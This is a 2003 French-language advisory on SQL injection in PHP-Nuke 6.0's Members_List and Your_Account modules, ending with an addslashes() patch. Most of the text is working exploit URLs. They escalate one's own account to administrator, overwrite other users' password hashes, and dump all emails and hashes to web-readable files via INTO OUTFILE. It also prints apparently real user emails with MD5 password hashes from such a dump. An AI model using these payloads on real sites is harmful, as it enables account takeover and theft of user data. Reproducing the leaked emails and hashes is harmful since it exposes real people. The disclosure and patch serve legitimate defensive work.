PHP-Nuke ******** Informations : °°°°°°°°°°°°°° Langage : PHP Website : http://www.phpnuke.org Version : 6.0 (& 6.5?) Modules : Members_List, You_Account Problème : Injection SQL Developpement : °°°°°°°°°°°°°°° PHP-Nuke, portail PHP utilisé par plusieurs centaines de milliers de sites et composé de divers modules tels qu'une liste de membre, un forum, un FAQ, un moteur de recherche, un gestionnaire de news, une partie membre,... n'est plus à présenter. J'ai relu 2/3 pages sur le SQL récemment et je me suis dis que j'allais un peu tester PHP-Nuke à ce niveau... et je n'ai pas été déçu :) En effet l'analyse de seulement deux modules m'a permis de découvrir comment : - Afficher les membres selon leur mot de passe, leur id, leur niveau (admin, user, moderateur,...) - Transformer son compte utilisateur en administrateur, moderateur,... et vis et versa - Récuperer tout le contenu d'une table, c'est-à-dire toutes les informations utilisateurs - Modifier nimporte quel compte utilisateur, dont son mot de passe Je voulais travailler sur une table dans laquelle sont enregistrées des données sur les utilisateurs. J'ai donc choisi de regarder le code des modules "Members_List" (la liste des membres) et "Your_Account" (tout ce qui concerne l'affichage et la modification des options membres, comme le profil). Je rapelle que pour accèder à un modules en tant qu'utilisateur, il faut taper une url du style : http://[website]/modules.php?name=[NOM_DU_MODULE] donc par exemple http://[website]/modules.php?name=Members_List. Ce type d'url inclura le fichier http://[website]/modules/[NOM_DU_MODULE]/index.php, qui ne peut pas être executé par un autre biais. Commençons donc par la liste des membres. Si on se rend sur http://[website]/modules.php?name=Members_List, on voit qu'on peut afficher les membres par ordre alphabétique, en cliquant sur la première lettre du pseudo que l'on recherche, et les classer par pseudo, par nom, par e-mail ou par site web. Par défaut, la page affiche les membres dont la première lettre du pseudo est 'a' et classés par Nickname (uname dans la base de donnée). Voyons donc le code du fichier /modules/Members_List/index.php. J'y ai enlevé les commentaires pour plus de clarté. Le même code avec les commentaires se trouve à la fin de ce texte, dans la partie "Details", pour ceux qui sont interessés. : -------------------------------------------------------------------------------------------------------------------- [...] $count = "SELECT COUNT(uid) AS total FROM ".$user_prefix."_users "; $select = "select uid, name, uname, femail, url from ".$user_prefix."_users "; $where = "where uname != 'Anonymous' "; if ( ( $letter != "Other" ) AND ( $letter != "All" ) ) { $where .= "AND uname like '".$letter."%' "; } else if ( ( $letter == "Other" ) AND ( $letter != "All" ) ) { $where .= "AND uname REGEXP \"^\[1-9]\" "; } else { $where .= ""; } $sort = "order by $sortby"; $limit = " ASC LIMIT ".$min.", ".$max; $count_result = sql_query($count.$where, $dbi); $num_rows_per_order = mysql_result($count_result,0,0); $result = sql_query($select.$where.$sort.$limit, $dbi) or die(); echo "
"; if ( $letter != "front" ) { echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; $cols = 4; [...] -------------------------------------------------------------------------------------------------------------------- La table interrogée est $user_prefix."_users". Dans config.php, on peut voir : ----------------------- $user_prefix = "nuke"; ----------------------- Par défaut, la table interrogée ici se nomme donc "nuke_users". Cette table est très interessante car elle contient toutes les informations des utilisateurs du site : le login, l'id, le nom, l'e-mail, l'avatar, le mot de passe crypté,... Sur cette page seront donc affichées les informations sur les membres extraites de la base de données : l'id, le nom, le pseudo, l'email et l'url (ayant respecitvement comme nom dans la table nuke_users : uid, name, uname, femail, url). Le but est de faire de l'affichage de la liste de membre un moteur de recherche dans la table nuke_users. On voit que si on veut afficher tout les users, en cliquant sur "All" (http://[website]/modules.php?name=Members_List&letter=All), le script executera une requête SQL du type : select uid, name, uname, femail, url from nuke_users where uname != 'Anonymous' order by $sortby ASC LIMIT ".$min.", ".$max Les variables $min et $max ne sont pas modifiables, il n'y a ici de modifiable que la variable $sortby, qui se retrouve dans toutes les requêtes executées à ce niveau du script. La table nuke_users contient le mot de passe crypté sous le nom "pass". La première chose possible est donc d'afficher les utilisateurs, non pas classés par pseudo ou email, mais par mot de passe ! Ce qui donnera une url du type : http://[target]/modules.php?name=Members_List&letter=All&sortby=pass Ou encore classés par UID (donc pas ordre d'inscription) : http://[target]/modules.php?name=Members_List&letter=All&sortby=uid Mais plus il y a de choses modifiables dans la variable, plus c'est interessant. Le maximum que l'on peut trouver est si $letter vaut autre chose que "All" ou "Other", c'est-à-dire, par exemple, une lettre. Dans ce cas, la requête serait du style : --------------------------------------------------------------------------------------------------------------------------------------------------------- select uid, name, uname, femail, url from nuke_users where uname != 'Anonymous' AND uname like '".$letter."%' order by $sortby ASC LIMIT ".$min.", ".$max --------------------------------------------------------------------------------------------------------------------------------------------------------- Et c'est ici que l'on peut véritablement commencer l'injection SQL. Premier exemple : Si je donne comme valeur à $letter 'a' et à $sortby 'uname/*', avec une url du type : http://[target]/modules.php?name=Members_List&letter=a&sortby=uname/* , la requête suivante sera executée : ----------------------------------------------------------------------------------------------------------------------------------------------- select uid, name, uname, femail, url from nuke_users where uname != 'Anonymous' AND uname like 'a%' order by uname/* ASC LIMIT ".$min.", ".$max ----------------------------------------------------------------------------------------------------------------------------------------------- Les caractères /* ouvrent un commentaire. Les caractères */ le referme. La requête executée sera donc en fait : ------------------------------------------------------------------------------------------------------------------ select uid, name, uname, femail, url from nuke_users where uname != 'Anonymous' AND uname like 'a%' order by uname ------------------------------------------------------------------------------------------------------------------ Et la partie [ASC LIMIT ".$min.", ".$max] sera comprise comme un commentaire, donc pas prise en compte. Concretement, ici, au lieu d'afficher par exemple les 20 premiers membres dont la lettre commence par 'a', le script les affichera tous. Pour bien comprendre les commentaires, voici une url qui executerai une requête visuellement differente, mais en fait exactement identique à celle que l'ont vien de voir : http://[target]/modules.php?name=Members_List&letter=a%25'/*&uname=*/%20order%20by%20uname/* Je rapelle que les caractères %20 valent un espace et les caractères %25 valent un caractère %. La requête dans ce cas-ci sera donc : --------------------------------------------------------------------------------------------------------------------------------------------------------------- select uid, name, uname, femail, url from nuke_users where uname != 'Anonymous' AND uname like 'a%'/*%' order by */ order by uname/* ASC LIMIT ".$min.", ".$max ---------------------------------------------------------------------------------------------------------------------------------------------------------------- Si on supprime donc ce qu'il y a dans les commentaires, c'est-à-dire ces deux parties : /*%' order by */ /* ASC LIMIT ".$min.", ".$max On obtiendra encore une fois la requête : ------------------------------------------------------------------------------------------------------------------ select uid, name, uname, femail, url from nuke_users where uname != 'Anonymous' AND uname like 'a%' order by uname ------------------------------------------------------------------------------------------------------------------ On peut également utiliser d'autres champs de la table nuke_users, ce qui est encore le plus interessant. Par exemple on a le password crypté dans le champ 'pass' et le niveau d'administration dans le champ 'user_level'. Pour user_level, voici les differentes valeurs possibles (Voir "Détails" pour voir les requêtes contenant ces informations) : -1 : Deleted 1 : User 2 : Moderator 3 : Super Moderateur 4 : Administrator On peut donc par exemple affichier tout les moderateurs grâce à une url du type : http://[target]/modules.php?name=Members_List&letter='%20OR%20user_level='2'/* Ce qui donnera la requête : ----------------------------------------------------------------------------------------------------------------------------------------------------------------- select uid, name, uname, femail, url from nuke_users where uname != 'Anonymous' AND uname like '' OR user_level='2'/*%' order by uname ASC LIMIT ".$min.", ".$max ----------------------------------------------------------------------------------------------------------------------------------------------------------------- Et executera la requête : ------------------------------------------------------------------------------------------------------------------- select uid, name, uname, femail, url from nuke_users where uname != 'Anonymous' AND uname like '' OR user_level='2' ------------------------------------------------------------------------------------------------------------------- On verra alors s'afficher la liste des modérateurs du site. On peut imaginer une url qui rechercherai tout les utilisateurs ayant un grade supérieur à user : http://[target]/modules.php?name=Members_List&letter='%20OR%20user_level>1/* Cette page pourrait aussi servir de "cracker" pour récuperer les passwords codés des utilisateurs. En effet, pour afficher tout les utilisateurs dont le password codé commence par 'abc', il suffira de taper une url du style : http://[target]/modules.php?name=Members_List&letter='%20OR%20pass%20LIKE%20'abc%25'/* Ce qui donnera une requête du style : ------------------------------------------------------------------------------------------------------------------------------------------------------------------- select uid, name, uname, femail, url from nuke_users where uname != 'Anonymous' AND uname like '' OR pass LIKE 'abc%'/*%' order by uname ASC LIMIT ".$min.", ".$max ------------------------------------------------------------------------------------------------------------------------------------------------------------------- Et executera : --------------------------------------------------------------------------------------------------------------------- select uid, name, uname, femail, url from nuke_users where uname != 'Anonymous' AND uname like '' OR pass LIKE 'abc%' --------------------------------------------------------------------------------------------------------------------- Voyons maintenant les nombreuses failles du fichier modules/Your_Account/index.php :) Chacune de ces failles se trouve dans une fonction (ces 8 fonctions plus précisemment :)). Voici le code qui doit les executer, et la liste des fonctions par la même occasion :p : --------------------------------------------------------------------------------------------------------------------------- switch($op) { [...] case "mailpasswd": mail_password($uname, $code); break; case "userinfo": userinfo($uname, $bypass, $hid, $url); break; case "login": login($uname, $pass); break; [...] case "saveuser": saveuser($uid, $realname, $uname, $email, $femail, $url, $pass, $vpass, $bio, $user_avatar, $user_icq, $user_occ, $user_from, $user_intrest, $user_sig, $user_aim, $user_yim, $user_msnm, $attach, $newsletter); break; [...] case "savehome": savehome($uid, $uname, $storynum, $ublockon, $ublock, $broadcast, $popmeson); break; case "savetheme": savetheme($uid, $theme); break; [...] case "savecomm": savecomm($uid, $uname, $umode, $uorder, $thold, $noscore, $commentmax); break; [...] } --------------------------------------------------------------------------------------------------------------------------- Le premier type de faille (il y en a deux), se trouve dans quatre fonctions que voici : ---------------------------------------------------------------------------------------------------------------------------- [...] function saveuser($uid, $realname, $uname, $email, $femail, $url, $pass, $vpass, $bio, $user_avatar, $user_icq, $user_occ, $user_from, $user_intrest, $user_sig, $user_aim, $user_yim, $user_msnm, $attach, $newsletter) { global $user, $cookie, $userinfo, $EditedMessage, $user_prefix, $dbi, $module_name; cookiedecode($user); $check = $cookie[1]; $check2 = $cookie[2]; $result = sql_query("select uid, pass from ".$user_prefix."_users where uname='$check'", $dbi); list($vuid, $ccpass) = sql_fetch_row($result, $dbi); if (($uid == $vuid) AND ($check2 == $ccpass)) { if (!eregi("http://", $url)) { $url = "http://$url"; } if ((isset($pass)) && ("$pass" != "$vpass")) { echo "
"._PASSDIFFERENT."
"; } elseif (($pass != "") && (strlen($pass) < $minpass)) { echo "
"._YOUPASSMUSTBE." $minpass "._CHARLONG."
"; } else { if ($bio) { filter_text($bio); $bio = $EditedMessage; $bio = FixQuotes($bio); } if ($pass != "") { cookiedecode($user); sql_query("LOCK TABLES ".$user_prefix."_users WRITE", $dbi); $pass = md5($pass); sql_query("update ".$user_prefix."_users set name='$realname', email='$email', femail='$femail', url='$url', pass='$pass', bio='$bio' , user_avatar='$user_avatar', user_icq='$user_icq', user_occ='$user_occ', user_from='$user_from', user_intrest='$user_intrest', user_sig='$user_sig', user_aim='$user_aim', user_yim='$user_yim', user_msnm='$user_msnm', newsletter='$newsletter' where uid='$uid'", $dbi); $result = sql_query("select uid, uname, pass, storynum, umode, uorder, thold, noscore, ublockon, theme from ".$user_prefix."_users where uname='$uname' and pass='$pass'", $dbi); if(sql_num_rows($result, $dbi)==1) { $userinfo = sql_fetch_array($result, $dbi); docookie($userinfo[uid],$userinfo[uname],$userinfo[pass],$userinfo[storynum],$userinfo[umode],$userinfo[uorder],$userinfo[thold],$userinfo[noscore],$userinfo[ublockon],$userinfo[theme],$userinfo[commentmax]); } else { echo "
"._SOMETHINGWRONG."

"; } sql_query("UNLOCK TABLES", $dbi); } else { sql_query("update ".$user_prefix."_users set name='$realname', email='$email', femail='$femail', url='$url', bio='$bio', user_avatar='$user_avatar', user_icq='$user_icq', user_occ='$user_occ', user_from='$user_from', user_intrest='$user_intrest', user_sig='$user_sig', user_aim='$user_aim', user_yim='$user_yim', user_msnm='$user_msnm', newsletter='$newsletter' where uid='$uid'", $dbi); if ($attach) { $a = 1; } else { $a = 0; } } Header("Location: modules.php?name=$module_name"); } } } [...] function savehome($uid, $uname, $storynum, $ublockon, $ublock, $broadcast, $popmeson) { global $user, $cookie, $userinfo, $user_prefix, $dbi, $module_name; cookiedecode($user); $check = $cookie[1]; $check2 = $cookie[2]; $result = sql_query("select uid, pass from ".$user_prefix."_users where uname='$check'", $dbi); list($vuid, $ccpass) = sql_fetch_row($result, $dbi); if (($uid == $vuid) AND ($check2 == $ccpass)) { if(isset($ublockon)) $ublockon=1; else $ublockon=0; $ublock = FixQuotes($ublock); sql_query("update ".$user_prefix."_users set storynum='$storynum', ublockon='$ublockon', ublock='$ublock', broadcast='$broadcast', popmeson='$popmeson' where uid='$uid'", $dbi); getusrinfo($user); docookie($userinfo[uid],$userinfo[uname],$userinfo[pass],$userinfo[storynum],$userinfo[umode],$userinfo[uorder],$userinfo[thold],$userinfo[noscore],$userinfo[ublockon],$userinfo[theme],$userinfo[commentmax]); Header("Location: modules.php?name=$module_name"); } } function savetheme($uid, $theme) { global $user, $cookie, $userinfo, $user_prefix, $dbi, $module_name; cookiedecode($user); $check = $cookie[1]; $check2 = $cookie[2]; $result = sql_query("select uid, pass from ".$user_prefix."_users where uname='$check'", $dbi); list($vuid, $ccpass) = sql_fetch_row($result, $dbi); if (($uid == $vuid) AND ($check2 == $ccpass)) { sql_query("update ".$user_prefix."_users set theme='$theme' where uid='$uid'", $dbi); getusrinfo($user); docookie($userinfo[uid],$userinfo[uname],$userinfo[pass],$userinfo[storynum],$userinfo[umode],$userinfo[uorder],$userinfo[thold],$userinfo[noscore],$userinfo[ublockon],$userinfo[theme],$userinfo[commentmax]); Header("Location: modules.php?name=$module_name&theme=$theme"); } } [...] function savecomm($uid, $uname, $umode, $uorder, $thold, $noscore, $commentmax) { global $user, $cookie, $userinfo, $user_prefix, $dbi, $module_name; cookiedecode($user); $check = $cookie[1]; $check2 = $cookie[2]; $result = sql_query("select uid, pass from ".$user_prefix."_users where uname='$check'", $dbi); list($vuid, $ccpass) = sql_fetch_row($result, $dbi); if (($uid == $vuid) AND ($check2 == $ccpass)) { if(isset($noscore)) $noscore=1; else $noscore=0; sql_query("update ".$user_prefix."_users set umode='$umode', uorder='$uorder', thold='$thold', noscore='$noscore', commentmax='$commentmax' where uid='$uid'", $dbi); getusrinfo($user); docookie($userinfo[uid],$userinfo[uname],$userinfo[pass],$userinfo[storynum],$userinfo[umode],$userinfo[uorder],$userinfo[thold],$userinfo[noscore],$userinfo[ublockon],$userinfo[theme],$userinfo[commentmax]); Header("Location: modules.php?name=$module_name"); } } [...] ---------------------------------------------------------------------------------------------------------------------------- Ces fonctions ont en commun qu'elles operent des changements à l'enregistrement de notre compte, dans la table nuke_users. - La fonction saveuser() change tout. Elle execute la requête suivante : ----------------------------------------------------------------------------------------------------------------------- update ".$user_prefix."_users set name='$realname', email='$email', femail='$femail', url='$url', bio='$bio', user_avatar='$user_avatar', user_icq='$user_icq', user_occ='$user_occ', user_from='$user_from', user_intrest='$user_intrest', user_sig='$user_sig', user_aim='$user_aim', user_yim='$user_yim', user_msnm='$user_msnm', newsletter='$newsletter' where uid='$uid' ----------------------------------------------------------------------------------------------------------------------- - La fonction savehome() enregistre les changements de blocks,... Elle execute la requête suivante : ------------------------------------------------------------------------------------------------------------------------ update ".$user_prefix."_users set storynum='$storynum', ublockon='$ublockon', ublock='$ublock', broadcast='$broadcast', popmeson='$popmeson' where uid='$uid' ------------------------------------------------------------------------------------------------------------------------ - La fonction savetheme() enregistre les changements de thèmes. Elle execute la requête : ----------------------------------------------------------------- update ".$user_prefix."_users set theme='$theme' where uid='$uid' ----------------------------------------------------------------- - La fonction savecomm() enregistre les préférences des commentaires. Elle execute la requête : ------------------------------------------------------------------------------------------------------- update ".$user_prefix."_users set umode='$umode', uorder='$uorder', thold='$thold', noscore='$noscore', commentmax='$commentmax' where uid='$uid' ------------------------------------------------------------------------------------------------------- On travaille donc une fois de plus dans la table nuke_users. Pour expliquer la faille je vais prendre la fonction savetheme(), dont la requête est la plus simple :) Voyons comment faire si je ne veux pas que 'theme' soit mis à jour où 'uid' (de la DB) vaut $uid (du script), mais où 'uname' vaut [PSEUDO]. Pour se faire, cette url est possible (uid=[UID] est obligatoire, et doit bien être NOTRE uid, car il y a vérification) : http://[target]/modules.php?name=Your_Account&op=savetheme&theme='%20where%20uname='[PSEUDO]'/*&uid=[NOTRE_UID] Ce qui donnera la requête : -------------------------------------------------------------------------------- update nuke_users set theme='' where uname='[PSEUDO]'/*' where uid='[NOTRE_UID]' -------------------------------------------------------------------------------- Et executera : ----------------------------------------------------- update nuke_users set theme='' where uname='[PSEUDO]' ----------------------------------------------------- La consèquence de cela est que ce n'est plus notre propre thème qui aura été modifié, mais bien celui de [PSEUDO] ! On peut à partir de là modifier ce qu'on veut dans le compte de n'importe qui !! Par exemple, pour donner comme nom "Hophophop" à l'utilisateur 'Admin', il faudra taper l'url : http://[target]/modules.php?name=Your_Account&op=savetheme&theme=',name='Hophophop'%20where%20uname='Admin'/* Ce qui executera la requête : ------------------------------------------------------------------- update nuke_users set theme='',name='Hophophop' where uname='Admin' ------------------------------------------------------------------- On peut dès maintenant aller jusqu'à changer le mot de passe des autres utilisateurs. Ils sont stockés cryptés en md5 dans la base de données. Il faut donc aussi les y inserer crypter. Pour crypter en md5, rien de plus simple ; il suffit d'un simple fichier php contenant : ----------------- ----------------- à utiliser avec une url du style http://[website]/md5.php?pass=[MOT_DE_PASSE], ce qui donnera un résultat du style d41d8cd98f00b204e9800998ecf8427e. Pour changer par exemple le mot de passe de l'utilisateur dont le login est 'Bob', il faudra taper une url comme : http://[target]/modules.php?name=Your_Account&op=savetheme&theme=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[NOTRE_UID] ce qui executera la requête : ---------------------------------------------------------------------------------------- update nuke_users set theme='',pass='d41d8cd98f00b204e9800998ecf8427e' where uname='Bob' ---------------------------------------------------------------------------------------- Il suffira alors de se rendre sur la page de login de taper comme login 'Bob' et comme password celui, non-crypté cette fois, qu'on a inscrit dans la table nuke_users. Une autre possibilité d'utilisation de cette faille est d'augmenter soi-même son niveau d'administration. En effet on a vu que la table nuke_users contenait un champ 'user_level' avec le niveau d'administration. Pour mettre son propre compte en administrateur, par exemple, il faudra taper l'url : http://[target]/modules.php?name=Your_Account&op=savetheme&theme=',user_level='4&uid=[NOTRE_UID] (ici, inutile d'utiliser les 'caractères commentaires'), ce qui donnera comme requête : --------------------------------------------------------------------- update nuke_users set theme='',user_level='4' where uid='[NOTRE_UID]' --------------------------------------------------------------------- Le même résultat pour les deux exploitations est donc possible avec chacune des quatre fonctions citées. Exemples : - saveuser() : http://[target]/modules.php?name=Your_Account&op=saveuser&realname=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[NOTRE_UID] http://[target]/modules.php?name=Your_Account&op=saveuser&email=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[NOTRE_UID] http://[target]/modules.php?name=Your_Account&op=saveuser&femail=',user_level='4&uid=[NOTRE_UID] http://[target]/modules.php?name=Your_Account&op=saveuser&url=http://',user_level='4&uid=[NOTRE_UID] etc... (j'ai mis un 'http://' au début de la valeur d'$url, car le script l'oblige) - savehome() : http://[target]/modules.php?name=Your_Account&op=savehome&storynum=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[NOTRE_UID] http://[target]/modules.php?name=Your_Account&op=savehome&ublockon=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[NOTRE_UID] http://[target]/modules.php?name=Your_Account&op=savehome&broadcast=',user_level='4&uid=[NOTRE_UID] etc... - savecomm() : http://[target]/modules.php?name=Your_Account&op=savecomm&umode=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[NOTRE_UID] http://[target]/modules.php?name=Your_Account&op=savecomm&thold=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[NOTRE_UID] http://[target]/modules.php?name=Your_Account&op=savecomm&uorder=',user_level='4&uid=[NOTRE_UID] etc... Voyons maintenant le dernier type de faille SQL, qui se trouve donc dans les trois dernières fonctions restantes. La première de ces fonctions est mail_password(), dont voici une partie : -------------------------------------------------------------------------------------------------------- [...] function mail_password($uname, $code) { global $sitename, $adminmail, $nukeurl, $user_prefix, $dbi, $module_name; $result = sql_query("select email, pass from ".$user_prefix."_users where (uname='$uname')", $dbi); if(!$result) { include("header.php"); OpenTable(); echo "
"._SORRYNOUSERINFO."
"; CloseTable(); include("footer.php"); [...] -------------------------------------------------------------------------------------------------------- On a donc la requête : --------------------------------------------------------- select email, pass from nuke_users where (uname='$uname') --------------------------------------------------------- qui extrait le champe 'email' et 'pass' de la table nuke_users. La langage SQL permet d'enregistrer le résultat d'une requête dans un fichier de son choix, grâce au code : [requête] INTO OUTFILE '/path/to/file.txt' Par exemple, si le site se trouve dans le dossier /home/httpd/public_html/, l'url : http://[target]/modules.php?name=Your_Account&op=mailpasswd&uname=Bob')%20INTO%20OUTFILE%20'/home/httpd/public_html/Bob.txt'/* executera la requête : --------------------------------------------------------------------------------------------------------- select email, pass from nuke_users where (uname='Bob') INTO OUTFILE '/home/httpd/public_html/Bob.txt'/*') --------------------------------------------------------------------------------------------------------- alors l'email (dans une colonne) et le password crypté (dans une autre) seront visibles à l'url http://[target]/Bob.txt . Un autre exemple avec cette fonction. L'url : http://[target]/modules.php?name=Your_Account&op=mailpasswd&uname=')%20OR%201=1%20INTO%20OUTFILE%20'/home/httpd/public_html/AllMailPass.txt'/* executera la requête SQL : --------------------------------------------------------------------------------------------------------------------- select email, pass from nuke_users where (uname='') OR 1=1 INTO OUTFILE '/home/httpd/public_html/AllMailPass.txt'/*') ---------------------------------------------------------------------------------------------------------------------- et enregistrera en deux colonnes les emails et passwords cryptés de TOUT les utilisateurs dans le fichier http://[target]/AllMailPass.txt, car l'expression 1=1 renvois toujours vrai. Exemple de résultat dans AllMailPass.txt : -------------------------------------------------------- chaeyut@yahoo.com a34e83e6658923ceb100abb52cd31df6 for-ever@yahoo.com 5728cea4924d9097c78d08165ad1dd8a runbur@netzero.com 546fa9501a436d4615b798f856386ba8 venom@yahoo.com 614edfbc874f09d75b98240295a8f39f gotchakd@yahoo.de fbd125e74581979d2b7fc6e2b360e286 cfischer@mindspring.com 9407c826d8e3c07ad37cb2d13d1cb641 mike@xiradio.com f9ac6b05beccb0fc5837b6a7fef4c1d3 mikdif@yahoo.com 6106edf3e22b0cd8609fa1112d0ae962 mcurry@hotmail.com 739897be3e14cf5a9fb032069f522b77 -------------------------------------------------------- Les deux autres fonctions buggées de cette façon sont userinfo() : --------------------------------------------------------------------------------------------------------------------- [...] function userinfo($uname, $bypass=0, $hid=0, $url=0) { global $user, $cookie, $sitename, $prefix, $user_prefix, $dbi, $admin, $broadcast_msg, $my_headlines, $module_name; $result = sql_query("select uid, femail, url, bio, user_avatar, user_icq, user_aim, user_yim, user_msnm, user_from, user_occ, user_intrest, user_sig, pass, newsletter from ".$user_prefix."_users where uname='$uname'", $dbi); $userinfo = sql_fetch_array($result, $dbi); [...] --------------------------------------------------------------------------------------------------------------------- et login() : --------------------------------------------------------------------------------------------------------------------- [...] function login($uname, $pass) { global $setinfo, $user_prefix, $dbi, $module_name; $result = sql_query("select pass, uid, storynum, umode, uorder, thold, noscore, ublockon, theme, commentmax from ".$user_prefix."_users where uname='$uname'", $dbi); $setinfo = sql_fetch_array($result, $dbi); [...] } [...] --------------------------------------------------------------------------------------------------------------------- Les fonctions userinfo() et login() donnent plus d'informations que la fonction mail_password, c'est-à-dire pour la première : [uid, femail, url, bio, user_avatar, user_icq, user_aim, user_yim, user_msnm, user_from, user_occ, user_intrest, user_sig, pass, newsletter] et pour la deuxième fonction : [pass, uid, storynum, umode, uorder, thold, noscore, ublockon, theme, commentmax] Si on utilise la focntion userinfo() pour enregistrer dans le fichier 1.txt, par exemple les informations des users dont les UID sont entre 190 et 196, on utilisera une url du type : http://[target]/modules.php?name=Your_Account&op=userinfo&uname='%20OR%20uid>190%20AND%20uid<196%20INTO%20OUTFILE%20'/home/httpd/public_html/1.txt Ce qui donnera et executera la requête : ----------------------------------------------------------------------------------------------------------------------------- select uid, femail, url, bio, user_avatar, user_icq, user_aim, user_yim, user_msnm, user_from, user_occ, user_intrest, user_sig, pass, newsletter from nuke_users where uname='' OR uid>190 and uid<196 INTO OUTFILE '/home/httpd/public_html/1.txt' ----------------------------------------------------------------------------------------------------------------------------- On obtiendra alors dans le fichier http://[target]/1.txt quelque chose du style : --------------------------------------------------------------------------------------------------------------------------------------------------------- 191 http:// blank.gif ee20fd29e100990f661f3f1479c19647 0 192 blank.gif 78a19340e705a2fb66774a0e4c1b186b 0 193 blank.gif b194ee58842bf553b4a129ccb7e7013d 1 194 d17.gif Florida sales architecture rhonda fe27e3ef6352b3dbd1735a51656b17b5 1 195 e@e.e blank.gif a2d3c324b2f90e908007533b7447f4b0 0 --------------------------------------------------------------------------------------------------------------------------------------------------------- Enfin un dernier exemple, avec la fonction login() cette fois. Disons qu'on veuille enregistrer dans le fichier http://[target]/admin.txt toutes les informations que la fonction login() peut extraire, mais uniquement de tout ceux qui ont des droits supérieurs aux droits 'user'. On utilisera alors une url du style : http://[target]/modules.php?name=Your_Account&op=login&uname='%20OR%user_level>1%20INTO%20OUTFILE%20'/home/httpd/public_html/admin.txt Ce qui donnera la requête : ------------------------------------------------------------------------------------------------------- select pass, uid, storynum, umode, uorder, thold, noscore, ublockon, theme, commentmax from nuke_users where uname='' OR user_level>1 INTO OUTFILE '/home/httpd/public_html/admin.txt' ------------------------------------------------------------------------------------------------------- Pour pouvoir executer ces exploits avec 'INTO OUTFILE', il faut connaître la path complet du site. Mais ce n'est pas un problème, car cette même version de PHP-Nuke est touché par un grand nombre de failles "Path Disclosure", comme par exemple à l'url http://[target]/modules/Forums/bb_smilies.php . Au point de vue de la configuration, ces problèmes d'injection SQL ne sont possibles que si magic_quotes_gpc=OFF. Dans le cas contraire, les caractères ' seront 'slashés' :p c'est-à-dire transformés en \' (et " en \ et \ en \\). Solution : °°°°°°°°°° Un patch est disponible sur http://www.phpsecure.info. La solution est l'habituel utilisation du addslashes(). Dans /modules/Your_Account/index.php, il faut ajouter quelque part avant le switch($op) les lignes : ---------------------------------------------------- $uname=addslashes($uname); $email=addslashes($email); $url=addslashes($url); $user_avatar=addslashes($user_avatar); $user_icq=addslashes($user_icq); $user_occ=addslashes($user_occ); $user_from=addslashes($user_from); $user_intrest=addslashes($user_intrest); $user_sig=addslashes($user_sig); $user_viewemail=addslashes($user_viewemail); $user_aim=addslashes($user_aim); $user_yim=addslashes($user_yim); $user_msnm=addslashes($user_msnm); $code=addslashes($code); $bypass=addslashes($bypass); $hid=addslashes($hid); $pass=addslashes($pass); $uid=addslashes($uid); $realname=addslashes($realname); $femail=addslashes($femail); $vpass=addslashes($vpass); $attach=addslashes($attach); $newsletter=addslashes($newsletter); $storynum=addslashes($storynum); $ublockon=addslashes($ublockon); $ublock=addslashes($ublock); $broadcast=addslashes($broadcast); $popmeson=addslashes($popmeson); $theme=addslashes($theme); $umode=addslashes($umode); $uorder=addslashes(uorder); $thold=addslashes($thold); $noscore=addslashes($noscore); $commentmax=addslashes($commentmax); $user=addslashes($user); ---------------------------------------------------- Et dans /modules/Members_List/index.php, il faut remplacer les lignes : -------------------------------------------- if (!isset($letter) { $letter = "A"; } if (!isset($sortby)) { $sortby = "uname"; } -------------------------------------------- par : -------------------------------------------------------------------------------------------------------- if (!isset($letter)) { $letter = "A"; } else { $letter = addslashes($letter); } if (!isset($sortby) OR $sortby == "pass") { $sortby = "uname"; } else { $sortby = addslashes($sortby); } -------------------------------------------------------------------------------------------------------- Détails : °°°°°°°°° Le code de Members_List avec les commentaires, cette fois : -------------------------------------------------------------------------------------------------------------------------- [...] /* This is a totaly crap code, any help to re-code this functions will be very appreciated */ /* Need to be database independent */ $count = "SELECT COUNT(uid) AS total FROM ".$user_prefix."_users "; // Count all the users in the db.. $select = "select uid, name, uname, femail, url from ".$user_prefix."_users "; //select our data $where = "where uname != 'Anonymous' "; if ( ( $letter != "Other" ) AND ( $letter != "All" ) ) { // are we listing all or "other" ? $where .= "AND uname like '".$letter."%' "; // I guess we are not.. } else if ( ( $letter == "Other" ) AND ( $letter != "All" ) ) { // But other is numbers ? $where .= "AND uname REGEXP \"^\[1-9]\" "; // REGEX :D, although i think its MySQL only // Will have to change this later. // if you know a better way to match only the first char // to be a number in uname, please change it and email // myphportal-developers@lists.sourceforge.net the correction // or goto http://sourceforge.net/projects/myphportal and post // your correction there. Thanks, Bjorn. } else { // or we are unknown or all.. $where .= ""; // this is to get rid of anoying "undefinied variable" message } $sort = "order by $sortby"; //sorty by ..... $limit = " ASC LIMIT ".$min.", ".$max; // we only want rows $min to $max /* due to how this works, i need the total number of users per letter group, then we can hack of the ones we want to view */ $count_result = sql_query($count.$where, $dbi); $num_rows_per_order = mysql_result($count_result,0,0); /* This is where we get our limit'd result set. */ $result = sql_query($select.$where.$sort.$limit, $dbi) or die(); // Now lets do it !! /* Crap code ends here */ echo "
"; if ( $letter != "front" ) { echo "
"._NICKNAME.""._REALNAME.""._EMAIL.""._URL."
\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; $cols = 4; [...] -------------------------------------------------------------------------------------------------------------------------- Requêtes executées pour définir les differents niveau d'administration : ------------------------------------------------------- INSERT INTO nuke_access VALUES (-1,'Deleted'); INSERT INTO nuke_access VALUES (1,'User'); INSERT INTO nuke_access VALUES (2,'Moderator'); INSERT INTO nuke_access VALUES (3,'Super Moderator'); INSERT INTO nuke_access VALUES (4,'Administrator'); ------------------------------------------------------- Credits : °°°°°°°°° Greetz to T. Rodriguez, [RaFa], Demarc.be Auteur : frog-m@n E-mail : frog-man@phpsecure.info Websites : http://www.frog-man.org, http://www.phpsecure.info Date : 06/03/03
"._NICKNAME.""._REALNAME.""._EMAIL.""._URL."